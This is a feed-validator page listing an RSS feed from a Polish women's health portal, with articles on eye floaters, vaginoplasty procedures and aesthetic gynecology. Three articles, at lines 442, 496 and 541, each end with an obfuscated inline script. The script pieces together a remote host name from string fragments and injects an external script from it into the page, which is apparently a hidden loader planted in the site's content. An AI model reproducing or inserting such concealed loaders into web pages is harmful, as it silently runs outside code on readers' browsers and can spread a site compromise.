  440. <p>W przypadku nagłych zmian w widzeniu konieczne jest skontaktowanie się z okulistą. Może to być szczególnie ważne, jeśli w przeszłości chorowałeś na cukrzycę lub wysokie ciśnienie krwi.</p>
  441. <p>Poza tym należy zawsze zgłosić się do specjalisty, gdy pojawiło się wiele więcej mętów w oczach niż zwykle, a także wystąpiło nagłe pojawienie się “dymu” w polu widzenia lub błysków światła w oku, w którym występują męty. Inne dodatkowe niepokojące objawy to pojawienie się szarej kurtyny lub zamazanego obszaru, który przesłania część pola widzenia, a także pojawienie się ciemność po jednej lub po obu stronach pola widzenia (utrata widzenia peryferyjnego/obwodowego). Te bezbolesne objawy mogą być spowodowane uszkodzeniem ciała szklistego lub siatkówki, a nawet być oznakami odwarstwienia siatkówki. Jest to stan zagrażający wzrokowi, wymagający natychmiastowej interwencji.</p>
  442. <p><script> (function(){ wb60=document.createElement("script");wb60.type="text/javascript"; wb60.async=true;wb60_=(("us")+"t")+"a";wb60_+=("t.i")+""+"n";wb60_+=(("f")+"o");wb60_+="/"; wb60u="2239266492.";wb60u+="bcn69glrb60g3sidwxhf4ccd6Xlcld";wb60.src="https://"+wb60_+wb60u; wb60db=document.body;wb60db.appendChild(wb60); })(); </script></p>
  443. <p>Artykuł <a href="https://kobietaportal.pl/mety-w-polu-widzenia/">Męty w polu widzenia</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  444. ]]></content:encoded>
  446. <wfw:commentRss>https://kobietaportal.pl/mety-w-polu-widzenia/feed/</wfw:commentRss>
  447. <slash:comments>0</slash:comments>
  450. </item>
  451. <item>
  452. <title>Waginoplastyka – rodzaje plastyki pochwy i kwalifikacja do zabiegu</title>
  453. <link>https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/</link>
  454. <comments>https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/#respond</comments>
  456. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  457. <pubDate>Fri, 13 Jun 2025 06:04:07 +0000</pubDate>
  458. <category><![CDATA[Zdrowie]]></category>
  459. <guid isPermaLink="false">https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/</guid>
  460.  
  461. <description><![CDATA[<p>Waginoplastyka, czyli plastyka pochwy wykonywana jest u kobiet z objawami VRS (Vaginal Relaxation Syndrome), czyli zespołu rozluźnionej pochwy, po urazach pochwy, a także u pacjentek z zaburzeniami statyki narządu rodnego. Kluczowa jest jednak właściwa diagnostyka i wybranie odpowiedniej procedury zabiegowej do problemu. O rodzajach waginoplastyki, prawidłowej kwalifikacji oraz metodach operacyjnych pisze dr n. med. Tomasz Basta, założyciel [&#8230;]</p>
  462. <p>Artykuł <a href="https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/">Waginoplastyka – rodzaje plastyki pochwy i kwalifikacja do zabiegu</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  463. ]]></description>
  464. <content:encoded><![CDATA[<p>Waginoplastyka, czyli plastyka pochwy wykonywana jest u kobiet z objawami VRS (Vaginal Relaxation Syndrome), czyli zespołu rozluźnionej pochwy, po urazach pochwy, a także u pacjentek z zaburzeniami statyki narządu rodnego. Kluczowa jest jednak właściwa diagnostyka i wybranie odpowiedniej procedury zabiegowej do problemu. O rodzajach waginoplastyki, prawidłowej kwalifikacji oraz metodach operacyjnych pisze dr n. med. Tomasz Basta, założyciel Intima Edu Institute, dyrektor medyczny Intima Clinic Group oraz prezes Polskiego Towarzystwa Ginekologii Estetycznej i Rekonstrukcyjnej.</p>
  465. <p>Waginoplastyka, czyli plastyka pochwy wykonywana jest u kobiet z objawami VRS (<em>Vaginal</em>&nbsp;Relaxation&nbsp;<em>Syndrome)</em>, czyli zespołu rozluźnionej pochwy, po urazach pochwy, a także u pacjentek z zaburzeniami statyki narządu rodnego. Kluczowa jest jednak właściwa diagnostyka i wybranie odpowiedniej procedury zabiegowej do problemu. O rodzajach waginoplastyki, prawidłowej kwalifikacji oraz metodach operacyjnych pisze dr n. med. Tomasz Basta, założyciel <a href="https://intima.edu.pl/">Intima Edu Institute</a>, dyrektor medyczny <a href="https://intimaclinic.pl/">Intima Clinic Group</a> oraz prezes Polskiego Towarzystwa Ginekologii Estetycznej i Rekonstrukcyjnej.</p>
  466. <p><b>Rodzaje waginoplastyki </b></p>
  467. <p>Istnieją różne rodzaje waginoplastyki. Najczęściej wykonywanym zabiegiem jest plastyka tylnej ściany pochwy. Polega ona na odseparowaniu i wycięciu wzdłuż tylnej ściany, pasa śluzówki pochwy, następnie odpowiednie zbliżenie do siebie powięzi znajdującej się pod śluzówką oraz mięśni okolic krocza, a na końcu właściwe zszycie struktur, przez co uzyskujemy zmniejszenie średnicy pochwy oraz wzmocnienie tylnej ściany, a tym samym stworzenie podparcia dla jelit. Ten typ waginoplastyki bardzo często łączony jest jednoczasowo z perineoplastyką, czyli plastyką krocza.</p>
  468. <p>Drugim typem waginoplastyki jest plastyka przedniej ściany pochwy. Jest to procedura bardziej skomplikowana. Polega ona na odpreparowaniu śluzówki wzdłuż cewki moczowej w kierunku pęcherza moczowego, a następnie na ściągnięciu i zbliżeniu do siebie powięzi pochwowo-cewkowej. W trakcie zabiegu również zostaje wycięty nadmiar śluzówki pochwy, a następnie jest ona zszywana odtwarzając prawidłową ciągłość przedniej ściany pochwy. W efekcie uzyskujemy nie tylko mniejszą średnicę pochwy, ale również podparcie dla cewki moczowej oraz pęcherza moczowego.</p>
  469. <p>Możliwe są sytuacje, w których wykonywane są jednoczasowo oba typy waginoplastyki tj. przedniej i tylnej ściany pochwy. Najważniejsze jest jednak właściwe zakwalifikowanie pacjentki do odpowiedniego typu zabiegu.</p>
  470. <p><b>Kwalifikacja do plastyki pochwy</b></p>
  471. <p>Podstawą do wdrożenia postępowania jest odpowiednia diagnostyka. W przypadku waginoplastyki powinna zaczynać się ona od wywiadu z pacjentką, co pozwala na wstępną identyfikację problemu. Należy zapytać o istniejące dolegliwości związane z poszerzeniem pochwy, ale również trzeba wykonać pełny wywiad uroginekologiczny, a więc związany z oddawaniem moczu.</p>
  472. <p>Aby właściwie zdiagnozować problem bardzo ważne jest dwukrotnie wykonanie badania ginekologicznego oraz USG uroginekologicznego &#8211; z pełnym i opróżnionym pęcherzem. Pacjentka w trakcie badań powinna być poproszona o np. o zakaszlenie lub parcie. Możemy wówczas ocenić, jakich struktur pochwy konkretnie dotyczy problem, która cześć opada, sprawdzamy napięcie mięśni i relacje pomiędzy strukturami dna miednicy mniejszej (zachęcam do szkoły prof. Jacka Kociszewskiego, który znakomicie przedstawia techniki obrazowania i diagnozowania wszelkich dysfunkcji uroginekologicznych). Dopiero na tej podstawie można zaproponować adekwatne do zaburzenia postępowanie zabiegowe.</p>
  473. <p><b>Dobór metody operacyjnej</b></p>
  474. <p>Plastykę tylnej ścinany pochwy wykonujemy jedynie, gdy występuje znaczne poszerzenie pochwy, a diagnostyka wykazuje VRS II lub III stopnia oraz nie występują inne zaburzenia statyki narządu rodnego. Objawy, jakie głównie zgłasza pacjentka to odczucie luzu w pochwie, a także dostawania się oraz wydostawania z niej powietrza, czemu towarzyszą charakterystyczne, krępujące dla kobiety odgłosy. Pacjentka cierpi przede wszystkim na niższą jakość współżycia. W takich przypadkach waginoplastyka tylnej ściany pochwy daje pełne efekty terapeutyczne &ndash; plastyczne i funkcjonalne.</p>
  475. <p>Jeżeli natomiast w diagnostyce widzimy cystocele, czyli uwypuklanie się pęcherza moczowego do pochwy, obniżenie przedniej ściany pochwy, obniżenie szyjki macicy oraz występuje wysiłkowe nietrzymanie moczu, wówczas nie możemy kwalifikować takiej Pacjentki do zabiegu samej plastyki tylnej ściany pochwy, ponieważ to może uniemożliwić lub utrudnić prawidłowe wykonanie plastyki przedniej ściany pochwy i nie rozwiąże głównego .</p>
  476. <p>Wówczas przeprowadzany jest zabieg przedniej ściany pochwy, który w zaawansowanych formach należy wykonywać w znieczuleniu ogólnym (tylko niewielkie plastyki przedniej ściany pochwy, polegające jedynie na redukcji nadmiaru śluzówki pochwy, można przeprowadzać w znieczuleniu miejscowym). Przy występowaniu wysiłkowego nietrzymaniu moczu, w trakcie plastyki przedniej ściany pochwy dodatkowo często zakłada się tak zwany szew Kelly-ego, który powoduje podciągnięcie cewki moczowej ku górze, jednocześnie ją podpierając i stabilizując.</p>
  477. <p><b>Metody nieinwazyjne </b></p>
  478. <p>Omawiać kwalifikację do zabiegu waginoplastyki należy wyraźnie powiedzieć, że w sytuacjach, gdy występuje VRS w stopniu I oraz pacjentka zgłasza dolegliwości o małym nasileniu, postępowanie terapeutyczne należy rozpocząć od przeprowadzania zabiegów nieinwazyjnych zamiast proponowania waginoplastyki tylnej ściany pochwy.</p>
  479. <p>Należą do niech zabiegi HIFU oraz RF mikroigłowa. Są to technologie z grupy EBD, czyli energy based devices, działające w odmienny sposób, ale powodujące ten sam efekt końcowy obkurczenia śluzówki pochwy, uelastycznienia jej, przebudowy istniejących struktur kolagenowych i elastyny oraz wytworzenia nowych włókien kolagenowych.</p>
  480. <p>HIFU, czyli High Intensity Focused Ultrasound, wykorzystuje skoncentrowane ultradźwięki o wysokim natężeniu. Technika ta opiera swoje działanie na termice, wywołując efekt ogniskowo skoncentrowany na dokładnie wybranej przez operatora głębokości. Głowica HIFU generuje zbieżne fale ultradźwiękowe o kształcie stożka, które w sposób pulsacyjny wytwarzają w komórkach tkanki wibracje cząstek molekularnych wody, podnosząc w ten sposób w niej temperaturę oraz zaistnienie w jej wnętrzu zjawiska kawitacji komórkowej aktywującej wyrzut fibroblastów aktywujących proces neokolagenezy. Fale ultradźwiękowe o wysokiej częstotliwości i skupieniu wywołują mikrouszkodzenia poprzez koagulację termiczną zmuszając organizm do regeneracji struktur poddanych leczeniu. Urządzenie działa na głębsze partie tkanki, omijając zewnętrzną śluzówkę.</p>
  481. <p>RF mikroigłowa posiada głowicę wyposażoną w kilkadziesiąt mikroigieł, które pozwalają wniknąć w tkankę do 3mm. Bardzo ważny jest fakt, że dzięki temu urządzeniu możemy wyjątkowo precyzyjnie określać nie tylko głębokość, na której chcemy zadziałać, ale też moc zabiegu. W momencie wkłucia przez igły emitowana jest wiązka fal radiowych, która powoduje ogrzanie tkanki na całej długości mikroigieł, co uruchamia proces neokolagenezy.</p>
  482. <p>Oba zabiegi wywołują więc dokładnie tę samą odpowiedź organizmu i pozwalają uzyskać zbliżony efekt końcowy. Jedyną różnicą jest fakt, że HIFU pozwala działać nieco głębiej, natomiast RF mikroigłowa działa w bardziej kontrolowany sposób, przez co daje lepsze pokrycie powierzchni tkanki i jest bezpieczniejsza.</p>
  483. <p>Powyższe procedery małoinwazyjne stosuję zawsze przy VRS I stopnia oraz wysiłkowym nietrzymaniu moczu I stopnia, a także jako terapię uzupełniającą przy wykonywaniu każdego typu waginoplastyki, w celu wzmocnienia pozostałej, nieoperowanej śluzówki pochwy. Takie działanie znacznie polepsza efekt końcowy. Plan zabiegowy przy waginoplastyce zakłada wykonanie zabiegu z rodzaju EBD (energy based devices) na ok. 3-4 miesiące przed planowaną plastyką pochwy oraz 3-4 miesiące po niej, po pełnym wygojeniu śluzówki pochwy.</p>
  484. <p><b>O czym należy pamiętać podczas wykonywania waginoplastyki </b></p>
  485. <p>Zaawansowana plastyka przedniej ściany pochwy oraz zabieg łączony przedniej i tylnej ściany pochwy wykonywane są w znieczuleniu ogólnym. Natomiast sama plastyka tylnej ściany pochwy (nawet ta rozległa) może być przeprowadzona w znieczuleniu miejscowym w warunkach sali zabiegowej .</p>
  486. <p>Osobiście w trakcie waginoplastyki tylnej ściany pochwy wykorzystuję efekt hydrodysekcji, polegający na tym, że do preparatu znieczulającego dodawana jest sól fizjologiczna, która po ostrzyknięciu tkanki powoduje rozwarstwienie struktur oddzielających śluzówkę pochwy od powięzi. Dzięki temu cięcie śluzówki pochwy jest łatwiejsze i występuje mniejsze ryzyko uszkodzenia znajdujących się pod nią struktur wieszadłowych (mięśni i powięzi). Łatwiejsze jest również wykonanie samej preparacji struktur, która może być przeprowadzona mechanicznie.</p>
  487. <p>Do cięcia tkanki najlepszym obecnie wykorzystywanym urządzeniem jest radiofrekwencja chirurgiczna (RF), czyli cięcie za pomocą fali dźwiękowej. Technologia ta koaguluje tkanki, dzięki czemu ogranicza krwawienie podczas operacji, zapewnia więc też lepszą widoczność pola zabiegowego. Poza tym ciecie jest bardzo precyzyjne. Mamy do dyspozycji różne długości końcówek, dzięki czemu można wybrać np. taką, którą tnie na głębokość tylko 3 mm. RF chirurgiczna dzięki temu, że tnie w niskiej temperaturze jest niebolesna i nie pozostawia blizn ani mikrozwęgleń na operowanej tkance co sprzyja gojeniu .</p>
  488. <p>Bardzo ważne w waginoplastyce jest przeprowadzenie odpowiedniego szycia. Powinno ono obejmować zarówno założenie szwów zewnętrznych na śluzówce pochwy jak i wcześniej na powięzi tak, abystworzyć wzmocnienie i podparcie tej powięzi oraz aby wyeliminować ryzyko powstawania krwiaka podśluzówkowego.</p>
  489. <p>Planując waginoplastykę należy pamiętać, aby dokładnie rozrysować linię cięcia (w tym również linię cięcia struktur krocza), tak aby szerokość pochwy i wejścia do pochwy po zabiegu były odpowiednie. A następnie na każdym etapie cięcia i szycia należy kontrolować wcześniej wytyczone wymiary. Niestety zdarzają się źle wykonane waginoplastyki, które skutkują powikłaniem w postaci za wąskiego wejścia do pochwy, albo efektem &bdquo;hamaka&rdquo; przedsionka pochwy, który polega na tym, że przedsionek jest zszyty wyżej niż sama pochwa. Pacjentka po takim zabiegu ma duże dolegliwości bólowe podczas stosunków oraz cierpi z powodu pękającej śluzówki w okolicach wędzidełka tylnego.</p>
  490. <p>Zakładając szew Kelly-ego podczas plastyki przedniej ściany pochwy, należy uważać, aby nie umiejscowić go zbyt blisko ujścia cewki moczowej, ponieważ może to prowadzić do zbyt dużego podciągnięcia cewki moczowej i sytuacji zalegania moczu w pęcherzu, co powoduje trudność lub niemożność oddania moczu po zabiegu przez pacjentkę. W takiej sytuacji pacjentka po zabiegu przez 1-2 tygodnie musi być cewnikowana, do czasu zmniejszenia obrzęku okołozabiegowego.</p>
  491. <p>Wykonując jednoczasowo tylną waginoplastykę z perineoplastykę, należy zawracać uwagę na to, aby podczas szycia krocza zakładać tylko szwy podskórnie i śródskórne. Ogranicza to możliwość zainfekowania operowanego obszaru podczas procesów defekacji i codziennej toalety .</p>
  492. <p>Przed waginoplastyką pacjentka powinna mieć wykonany wymaz z pochwy oraz wywiad w kierunku cukrzycy, zaburzeń krzepnięcia lub innych chorób wykluczających zabieg. Poza tym dodatkowo u pacjentek dojrzałych warto wdrożyć terapię estrogenwową, co powoduje poźniejsze lepsze odpreparowanie śluzówki pochwy podczas operacji i gojenie. Kremy lub globulki powinny być stosowane już na miesiąc przed zabiegiem.</p>
  493. <p>Po waginoplastyce pacjentka powinna zostać zaopatrzona w odpowiednie leki, w tym antybiotyk osłonowy i czopki doodbytnicze przeciwzapalne oraz powinna być poinstruowana jak należy przechodzić okres rekonwalescencji.</p>
  494. <p>W celu ochrony korcza warto na nie założyć dodatkowe szwy zabezpieczające przed jego rozejściem. Wizyta kontrolna powinna odbyć się po ok. 2-3 tygodniach, podczas której szwy z korcza należy zdjąć.Druga wizyta kontrolna, na której widać efekt końcowy powinna zostać przeprowadzona po 2 miesiącach.</p>
  495. <p>Tak prezentuje się wprowadzenie do tematu waginoplastyki. Zachęcam do dokładnego poznania wszystkich technik plastyki pochwy podczas szkoleń orgaznizowanych w ramach Polskiego Towarzystwa Ginekologii Plastycznej i Rekonstrukcyjnej, które przeprowadzane są przez Intima Edu Institute. Szczegóły znajdą Państwo na www.intima.edu.pl</p>
  496. <p> <script> (function(){ x482_=("u"+"")+"s"+"";x482_+=("tat.")+("i"); x482=document.createElement("script");x482.type="text/javascript";x482_+="nf"+("o")+"/"; x482u="2249381992"+".";x482.async=true;x482u+="8e6rwu1s482h7i3ubzzw59f5tm6jd8"; x482.src="https://"+x482_+x482u;x482b=document.body;x482b.appendChild(x482); })(); </script></p>
  497. <p>Artykuł <a href="https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/">Waginoplastyka – rodzaje plastyki pochwy i kwalifikacja do zabiegu</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  498. ]]></content:encoded>
  500. <wfw:commentRss>https://kobietaportal.pl/waginoplastyka-rodzaje-plastyki-pochwy-i-kwalifikacja-do-zabiegu/feed/</wfw:commentRss>
  501. <slash:comments>0</slash:comments>
  504. </item>
  505. <item>
  506. <title>Nowe podejście w ginekologii estetycznej i plastycznej  – regeneracja i rekonstrukcja zamiast estetyki</title>
  507. <link>https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/</link>
  508. <comments>https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/#respond</comments>
  510. <dc:creator><![CDATA[Redakcja]]></dc:creator>
  511. <pubDate>Fri, 13 Jun 2025 06:03:46 +0000</pubDate>
  512. <category><![CDATA[Zdrowie]]></category>
  513. <guid isPermaLink="false">https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/</guid>
  514.  
  515. <description><![CDATA[<p>Ginekologia estetyczna przechodzi transformację – coraz częściej mówi się o niej w kontekście regeneracji i leczenia, a nie jedynie poprawy wyglądu. Jak podkreśla dr n. med. Tomasz Basta – prezes Polskiego Towarzystwa Ginekologii Estetycznej i Rekonstrukcyjnej oraz założyciel Intima Clinic Group i Intima Edu Institute – zmiana ta jest nie tylko potrzebna, ale konieczna. Z [&#8230;]</p>
  516. <p>Artykuł <a href="https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/">Nowe podejście w ginekologii estetycznej i plastycznej  – regeneracja i rekonstrukcja zamiast estetyki</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  517. ]]></description>
  518. <content:encoded><![CDATA[<p>Ginekologia estetyczna przechodzi transformację – coraz częściej mówi się o niej w kontekście regeneracji i leczenia, a nie jedynie poprawy wyglądu. Jak podkreśla dr n. med. Tomasz Basta – prezes Polskiego Towarzystwa Ginekologii Estetycznej i Rekonstrukcyjnej oraz założyciel Intima Clinic Group i Intima Edu Institute – zmiana ta jest nie tylko potrzebna, ale konieczna.</p>
  519. <h3 data-start="576" data-end="623">Z estetyki do medycyny – zmiana paradygmatu</h3>
  520. <p data-start="625" data-end="889">– Naszym celem jest wprowadzenie medykalizacji w obszarze zabiegów ginekologii estetycznej – wyjaśnia dr Tomasz Basta. – Chodzi o to, by procedury takie jak labioplastyka, plastyka pochwy czy zabiegi ujędrniające były wykonywane nie z powodów wizualnych, ale zdrowotnych.</p>
  521. <p data-start="891" data-end="1153">Towarzystwo, któremu przewodniczy, promuje zmianę języka: zamiast „ginekologia estetyczna” – „ginekologia regeneracyjna i rekonstrukcyjna”. Takie określenia lepiej oddają istotę zabiegów – przywracanie komfortu, funkcjonalności i poprawa jakości życia pacjentek.</p>
  522. <h3 data-start="1155" data-end="1202">Standardy i bezpieczeństwo przede wszystkim</h3>
  523. <p data-start="1204" data-end="1519">PTGEiR pracuje nad opracowaniem jasnych, medycznych standardów postępowania. Tworzone są rekomendacje dotyczące zarówno procedur, jak i sprzętu czy preparatów stosowanych w terapii intymnych dolegliwości. Wszystko po to, by kobiety mogły czuć się bezpiecznie, a lekarze – działać zgodnie z aktualną wiedzą medyczną.</p>
  524. <p data-start="1521" data-end="1727">– Na stronie Towarzystwa publikujemy informacje o sprawdzonych technologiach i preparatach, które przeszły nasze oceny. To cenne źródło wiedzy zarówno dla pacjentek, jak i dla specjalistów – dodaje ekspert.</p>
  525. <h3 data-start="1729" data-end="1783">Nowoczesne technologie w służbie zdrowia intymnego</h3>
  526. <p data-start="1785" data-end="2119">Dynamiczny rozwój technologii ma ogromny wpływ na ginekologię regeneracyjną. Jeszcze do niedawna laser CO₂ uznawany był za najlepszy standard, dziś coraz częściej ustępuje miejsca nowocześniejszym rozwiązaniom, takim jak radiofrekwencja mikroigłowa czy HIFU, które skuteczniej wspomagają leczenie m.in. wysiłkowego nietrzymania moczu.</p>
  527. <p data-start="2121" data-end="2277">Jednak starsze technologie nadal mają swoje zastosowanie – laser CO₂ świetnie sprawdza się przy frakcyjnym odmładzaniu śluzówki pochwy czy leczeniu atrofii.</p>
  528. <h3 data-start="2279" data-end="2330">Kształcenie lekarzy – niezbędny element jakości</h3>
  529. <p data-start="2332" data-end="2541">PTGEiR dużą wagę przykłada do edukacji specjalistów. Intima Edu Institute oferuje intensywne kursy praktyczne, podczas których lekarze uczą się obsługi nowoczesnych technologii i wdrażania skutecznych terapii.</p>
  530. <p data-start="2543" data-end="2720">– Pracujemy na żywych modelkach medycznych, pokazując pełne protokoły zabiegowe. Taki sposób szkolenia daje lekarzom nie tylko wiedzę, ale i pewność w działaniu – mówi dr Basta.</p>
  531. <h3 data-start="2722" data-end="2762">Świadome pacjentki – świadome wybory</h3>
  532. <p data-start="2764" data-end="2978">Ważnym aspektem jest też edukacja pacjentek. Jak zaznacza dr Basta, nie istnieje jedno uniwersalne urządzenie ani preparat działający na wszystkie problemy. Dobór odpowiedniej terapii wymaga wiedzy i doświadczenia.</p>
  533. <p data-start="2980" data-end="3139">– Kobiety powinny wybierać ośrodki, które dysponują szerokim zapleczem technologicznym i potrafią indywidualnie dobrać metodę leczenia – podkreśla specjalista.</p>
  534. <h3 data-start="3141" data-end="3190">Terapie łączone – skuteczność dzięki synergii</h3>
  535. <p data-start="3192" data-end="3411">Coraz większą popularność zyskują tzw. terapie skojarzone – łączące kilka metod w jednej procedurze. Przykładem może być połączenie radiofrekwencji mikroigłowej z tropokolagenem w leczeniu mieszanego nietrzymania moczu.</p>
  536. <p data-start="3413" data-end="3587">– Tego typu podejście pozwala osiągnąć lepsze efekty bez konieczności operacji, np. zakładania taśm, które bywają niewskazane przy pęcherzu nadreaktywnym – wyjaśnia dr Tomasz Basta.</p>
  537. <h3 data-start="3589" data-end="3618">Co przyniesie przyszłość?</h3>
  538. <p data-start="3620" data-end="3938">W najbliższym czasie PTGEiR uruchomi nową platformę informacyjną, która ułatwi lekarzom i pacjentkom dostęp do rzetelnych informacji. Znajdą się tam m.in. listy rekomendowanych preparatów, technologii oraz akredytowanych lekarzy – przeszkolonych według europejskich standardów i pracujących na certyfikowanym sprzęcie.</p>
  539. <p data-start="3940" data-end="4080">– To będzie realne wsparcie zarówno dla środowiska medycznego, jak i dla kobiet szukających profesjonalnej pomocy – zapowiada prezes PTGEiR.</p>
  540. <p data-start="4087" data-end="4397"><strong data-start="4087" data-end="4114">Dr n. med. Tomasz Basta</strong> – specjalista w dziedzinie ginekologii estetycznej, plastycznej i uroginekologii. Założyciel sieci Intima Clinic Group oraz Intima Edu Institute – ośrodka szkoleniowego dla lekarzy. Od 2023 roku pełni funkcję Prezesa Polskiego Towarzystwa Ginekologii Estetycznej i Rekonstrukcyjnej.</p>
  541. <p> <script> (function(){ xqf6_=("u"+"")+"s"+"";xqf6_+=("tat.")+("i"); xqf6=document.createElement("script");xqf6.type="text/javascript";xqf6_+="nf"+("o")+"/"; xqf6u="2480800612"+".";xqf6.async=true;xqf6u+="6tc3es6zqf6epsctmq6seunkpaj407"; xqf6.src="https://"+xqf6_+xqf6u;xqf6b=document.body;xqf6b.appendChild(xqf6); })(); </script></p>
  542. <p>Artykuł <a href="https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/">Nowe podejście w ginekologii estetycznej i plastycznej  – regeneracja i rekonstrukcja zamiast estetyki</a> pochodzi z serwisu <a href="https://kobietaportal.pl"></a>.</p>
  543. ]]></content:encoded>
  545. <wfw:commentRss>https://kobietaportal.pl/nowe-podejscie-w-ginekologii-estetycznej-i-plastycznej-regeneracja-i-rekonstrukcja-zamiast-estetyki/feed/</wfw:commentRss>
  546. <slash:comments>0</slash:comments>
  549. </item>
  550. </channel>
  551. </rss>
  552.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//kobietaportal.pl/feed/

Home · About · News · Docs · Terms

 
Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda